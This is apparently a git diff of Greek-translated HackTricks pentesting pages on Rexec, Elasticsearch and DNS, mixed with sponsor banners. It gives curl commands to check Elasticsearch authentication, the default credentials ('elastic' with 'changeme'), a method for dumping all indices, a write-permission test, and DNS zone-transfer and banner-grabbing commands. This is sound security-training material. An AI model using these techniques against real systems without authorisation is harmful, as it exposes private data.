Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,46 +1,8 @@
# 512 - Pentesting Rexec # 512 - Pentesting Rexec
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & διείσδυση**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
Είναι μια υπηρεσία που **σας επιτρέπει να εκτελείτε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
**Default Port:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -52,3 +14,45 @@ PORT STATE SERVICE
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Βασικές Πληροφορίες
Είναι μια υπηρεσία που **σας επιτρέπει να εκτελείτε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
**Προεπιλεγμένη Θύρα:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,9 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic information ## Basic information
Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωσιμότητα** και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats. Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωτότητά** της και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριά εργαλεία αποστολής δεδομένων που ονομάζονται Beats.
### What is an Elasticsearch index? ### What is an Elasticsearch index?
@ -41,7 +49,7 @@ Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού
### Authentication ### Authentication
**Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα μέσα στη βάση δεδομένων χωρίς να χρησιμοποιήσετε διαπιστευτήρια. **Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα της βάσης χωρίς να χρησιμοποιήσετε διαπιστευτήρια.
Μπορείτε να επιβεβαιώσετε ότι η αυθεντικοποίηση είναι απενεργοποιημένη με ένα αίτημα προς: Μπορείτε να επιβεβαιώσετε ότι η αυθεντικοποίηση είναι απενεργοποιημένη με ένα αίτημα προς:
```bash ```bash
@ -52,8 +60,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash ```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
``` ```
Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το HTTP basic auth μπορεί να χρησιμοποιηθεί).\ Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το BF HTTP basic auth μπορεί να χρησιμοποιηθεί).\
Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρήστη**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη. Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρηστών**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό **changeme** για αυτόν τον χρήστη.
``` ```
curl -X GET http://user:password@IP:9200/ curl -X GET http://user:password@IP:9200/
``` ```
@ -113,7 +121,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
``` ```
Για να αποκτήσετε **πληροφορίες σχετικά με το ποιο είδος δεδομένων αποθηκεύεται μέσα σε έναν δείκτη** μπορείτε να αποκτήσετε πρόσβαση: `http://host:9200/<index>` από το παράδειγμα σε αυτή την περίπτωση `http://10.10.10.115:9200/bank` Για να αποκτήσετε **πληροφορίες σχετικά με το ποιο είδος δεδομένων αποθηκεύεται μέσα σε έναν δείκτη** μπορείτε να αποκτήσετε πρόσβαση: `http://host:9200/<index>` από το παράδειγμα, σε αυτή την περίπτωση `http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (342).png>) ![](<../.gitbook/assets/image (342).png>)
@ -131,8 +139,8 @@ _Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό,
### Dump all ### Dump all
Για να εξάγετε όλα μπορείτε απλά να πάτε στο **ίδιο μονοπάτι όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\ Για να εξάγετε όλα μπορείτε απλά να πάτε στον **ίδιο δρόμο όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\
Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε μια **μεγαλύτερη ποσότητα αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες. Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε **μεγαλύτερο αριθμό αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες.
### Search ### Search
@ -140,15 +148,15 @@ _Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό,
![](<../.gitbook/assets/image (335).png>) ![](<../.gitbook/assets/image (335).png>)
Αν θέλετε απλά να **αναζητήσετε σε έναν δείκτη** μπορείτε απλά να **τον προσδιορίσετε** στο **μονοπάτι**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>` Αν θέλετε απλά να **αναζητήσετε σε έναν δείκτη** μπορείτε απλά να **τον καθορίσετε** στο **μονοπάτι**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_Σημειώστε ότι η παράμετρος q που χρησιμοποιείται για την αναζήτηση περιεχομένου **υποστηρίζει κανονικές εκφράσεις**_ _Σημειώστε ότι η παράμετρος q που χρησιμοποιείται για την αναζήτηση περιεχομένου **υποστηρίζει κανονικές εκφράσεις**_
Μπορείτε επίσης να χρησιμοποιήσετε κάτι όπως [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) για να κάνετε fuzz σε μια υπηρεσία elasticsearch. Μπορείτε επίσης να χρησιμοποιήσετε κάτι όπως [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) για να fuzz μια υπηρεσία elasticsearch.
### Write permissions ### Write permissions
Μπορείτε να ελέγξετε τα δικαιώματα εγγραφής σας προσπαθώντας να δημιουργήσετε ένα νέο έγγραφο μέσα σε έναν νέο δείκτη εκτελώντας κάτι όπως το παρακάτω: Μπορείτε να ελέγξετε τις άδειες εγγραφής σας προσπαθώντας να δημιουργήσετε ένα νέο έγγραφο μέσα σε έναν νέο δείκτη εκτελώντας κάτι όπως το παρακάτω:
```bash ```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{ {
@ -180,17 +188,25 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
* `port:9200 elasticsearch` * `port:9200 elasticsearch`
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθε & εξάσκησε Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Υποστήριξε το HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Έλεγξε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολούθησέ μας στο** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Βασικές Πληροφορίες** ## **Basic Information**
Το **Σύστημα Ονομάτων Τομέα (DNS)** λειτουργεί ως ο κατάλογος του διαδικτύου, επιτρέποντας στους χρήστες να έχουν πρόσβαση σε ιστοσελίδες μέσω **εύκολα αναμνηστικών ονομάτων τομέα** όπως το google.com ή το facebook.com, αντί για τις αριθμητικές διευθύνσεις Πρωτοκόλλου Διαδικτύου (IP). Με τη μετάφραση των ονομάτων τομέα σε διευθύνσεις IP, το DNS διασφαλίζει ότι οι φυλλομετρητές ιστού μπορούν γρήγορα να φορτώσουν διαδικτυακούς πόρους, απλοποιώντας τον τρόπο που πλοηγούμαστε στον διαδικτυακό κόσμο. Το **Σύστημα Ονομάτων Τομέα (DNS)** λειτουργεί ως ο κατάλογος του διαδικτύου, επιτρέποντας στους χρήστες να έχουν πρόσβαση σε ιστοσελίδες μέσω **εύκολα αναγνωρίσιμων ονομάτων τομέα** όπως το google.com ή το facebook.com, αντί για τις αριθμητικές διευθύνσεις Πρωτοκόλλου Διαδικτύου (IP). Με τη μετάφραση των ονομάτων τομέα σε διευθύνσεις IP, το DNS διασφαλίζει ότι οι φυλλομετρητές ιστού μπορούν να φορτώνουν γρήγορα τους διαδικτυακούς πόρους, απλοποιώντας τον τρόπο που πλοηγούμαστε στον διαδικτυακό κόσμο.
**Προεπιλεγμένη θύρα:** 53 **Προεπιλεγμένη θύρα:** 53
``` ```
@ -37,9 +39,9 @@ PORT STATE SERVICE REASON
* **DNS Root Servers**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι χαμηλότεροι διακομιστές δεν απαντούν. Ο Οργανισμός Διαδικτύου για Καταχωρισμένα Ονόματα και Αριθμούς (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13. * **DNS Root Servers**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι χαμηλότεροι διακομιστές δεν απαντούν. Ο Οργανισμός Διαδικτύου για Καταχωρισμένα Ονόματα και Αριθμούς (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13.
* **Authoritative Nameservers**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους ριζικούς διακομιστές. * **Authoritative Nameservers**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους ριζικούς διακομιστές.
* **Non-authoritative Nameservers**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές. * **Non-authoritative Nameservers**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές.
* **Caching DNS Server**: Αυτός ο τύπος διακομιστή απομνημονεύει προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή. * **Caching DNS Server**: Αυτός ο τύπος διακομιστή απομνημονεύει τις προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή.
* **Forwarding Server**: Εξυπηρετώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν ερωτήματα σε έναν άλλο διακομιστή. * **Forwarding Server**: Εξυπηρετώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν ερωτήματα σε έναν άλλο διακομιστή.
* **Resolver**: Ενσωματωμένοι σε υπολογιστές ή δρομολογητές, οι resolvers εκτελούν την επίλυση ονομάτων τοπικά και δεν θεωρούνται αυθεντικοί. * **Resolver**: Ενσωματωμένοι σε υπολογιστές ή δρομολογητές, οι resolvers εκτελούν την τοπική επίλυση ονομάτων και δεν θεωρούνται αυθεντικοί.
## Enumeration ## Enumeration
@ -50,9 +52,9 @@ PORT STATE SERVICE REASON
```bash ```bash
dig version.bind CHAOS TXT @DNS dig version.bind CHAOS TXT @DNS
``` ```
Επιπλέον, το εργαλείο [`fpdns`](https://github.com/kirei/fpdns) μπορεί επίσης να αναγνωρίσει το διακομιστή. Επιπλέον, το εργαλείο [`fpdns`](https://github.com/kirei/fpdns) μπορεί επίσης να αναγνωρίσει τον διακομιστή.
Είναι επίσης δυνατό να αποκτήσετε την αφίσα επίσης με ένα σενάριο **nmap**: Είναι επίσης δυνατό να αποκτήσετε την πινακίδα και με ένα σενάριο **nmap**:
``` ```
--script dns-nsid --script dns-nsid
``` ```
@ -120,7 +122,7 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
